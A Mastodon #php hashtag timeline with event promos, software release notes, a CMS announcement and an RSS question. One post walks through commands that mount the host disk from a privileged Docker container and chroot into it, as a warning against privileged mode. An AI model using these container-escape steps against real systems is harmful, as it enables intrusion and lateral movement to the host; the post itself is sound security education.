veganism.social is one of the many independent Mastodon servers you can use to participate in the fediverse.
Veganism Social is a welcoming space on the internet for vegans to connect and engage with the broader decentralized social media community.

Administered by:

Server stats:

293
active users

#php

64 posts62 participants10 posts today

🚀 Join Gábor Hojtsy and dive into the world of PHP development at #DrupalConVienna!

Get ready for these 3 powerhouse sessions:

👉 @derickr – Better Debugging with Xdebug
👉 @sebastian – So You Think You Know PHPUnit
👉 @OndrejMirtes – Writing Custom PHPStan Rules for Drupal Projects

Which one are you most excited about? 👀
Don’t miss a single session — join us in Vienna, 14–17 October 2025!

🔗 events.drupal.org/vienna2025

🎉 Nová verze pohoda-raiffeisenbank 1.3.8 je venku!

V této verzi jsme vylepšili import bankovních výpisů, přidali lepší podporu pro cizí měny, zpřesnili detekci duplicitních transakcí a rozšířili chybové hlášení v angličtině. Kód nyní plně odpovídá standardu PSR-12, je lépe dokumentovaný a připravený na PHP 8.4.

Děkujeme všem, kteří se podílejí na vývoji a používání našeho open-source řešení pro propojení Raiffeisenbank s účetním systémem Pohoda!

Více informací a zdrojové kódy najdete na GitHubu:
github.com/Spoje-NET/pohoda-ra

Import Raiffeisenbank statements into Pohoda. Contribute to Spoje-NET/pohoda-raiffeisenbank development by creating an account on GitHub.
GitHubGitHub - Spoje-NET/pohoda-raiffeisenbank: Import Raiffeisenbank statements into PohodaImport Raiffeisenbank statements into Pohoda. Contribute to Spoje-NET/pohoda-raiffeisenbank development by creating an account on GitHub.

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!

ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.

Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?

Here's why (one, simple example): 

Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference. 

1) Start two containers.

docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu

2) Inspect /dev in the unprivileged container.

docker exec -it ubuntu-unprivileged bash
ls /dev
exit

You'll only see a limited set of devices. No disk access. 

3) Now inspect /dev in the privileged container.

docker exec -it ubuntu-privileged bash
ls /dev

/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.

4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.

mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever

5) You can now enumerate - and access - the Docker host's logical volume.

ls -la /tmp/whatever

6) If you wish, you can even chroot into the host:

chroot /tmp/whatever /bin/bash

The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.

Usually the grumpy guy means well. He just doesn't know how to explain it properly.

thank you #kiki users for your gracious patience over the past few months 🙏

kiki v1.1.0 is now available on itch. it includes many new requested features, including preliminary support for the gopher protocol.

if you haven't heard of kiki before: it's a tiny home page construction set written to be fast and easy to modify. it's my response to 20 years of dealing with the bloated, frustrating, and exhausting world of wordpress and other heavyweight CMSes.

if you're into writing things with just a text editor, then uploading your document over ftp - then kiki is for you.

(conversely, if you're into dragging and dropping widgets in a massive javascript interface - kiki is *not* for you 😆)

tomodashi.com/kiki

truth be told, gopher support may or may not survive the year. it's an absolutely gnarly protocol that barely deserves to be called one - there are SO many different implementations and revisions. i tried to implement only what made sense to me, and it's basic at best.

I've published a new blog entry on supercharging my Open Source project Flow #PHP with Claude Code to tackle those dull, repetitive chores! Check out how AI can boost your productivity.

https://norbert.wip/blog/2025-01-22/ai-automate-boring-coding-tasks

Huh. I'm trying to work with Mastodon and Bluesky RSS in a php twig based plugin (Grav Twigfeeds). Mastodon feeds work fine, first few words parse as title, each post URL links to the post. Bluesky doesn't work *at all*. If I shove thru FetchRss it sort of works but post URLs only link to the account. RSS.app converts much better but is a paid service.

I think it's to do with no declared XML header, maybe.

#rss #xml #php #twig #grav

Nb in raw php BS feeds do work.